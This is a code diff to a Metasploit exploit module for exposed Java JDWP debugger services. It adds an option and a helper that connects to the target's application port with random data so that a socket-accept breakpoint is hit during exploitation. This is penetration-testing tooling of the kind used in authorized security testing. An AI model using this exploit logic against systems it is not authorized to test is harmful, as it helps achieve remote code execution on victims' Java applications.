diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb
index c17e1eec26..959a0d7a65 100644
--- a/modules/exploits/multi/misc/java_jdwp_debugger.rb
+++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb
@@ -115,6 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
     register_advanced_options(
       [
         OptString.new('BREAK_CLASS', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]),
+        OptInt.new('BREAK_AUTOHIT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection', nil ]),
         OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]),
         OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10])
       ], self.class)
@@ -506,12 +507,31 @@ class Metasploit3 < Msf::Exploit::Remote
   # Waits user defined time for an event sent from the target VM (or force event if possible)
   def wait_for_event
 
+    force_net_event unless datastore['BREAK_AUTOHIT_PORT'].nil? || (datastore['BREAK_AUTOHIT_PORT'] == 0)
+
     buf = read_reply(datastore['BREAK_TIMEOUT'])
 
     return buf
   end
 
 
+  # Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
+  def force_net_event
+
+    vprint_status("#{peer} - Forcing network event over #{datastore['BREAK_AUTOHIT_PORT']}")
+
+    rex_socket = Rex::Socket::Tcp.create(
+            'PeerHost' => rhost,
+            'PeerPort' => datastore['BREAK_AUTOHIT_PORT'],
+    )
+
+    rex_socket.put(rand_text_alphanumeric(4 + rand(4)))
+
+    rex_socket.shutdown
+
+  end
+
+
   # Parses a received event and compares it with the expected
   def parse_event_breakpoint(buf, event_id)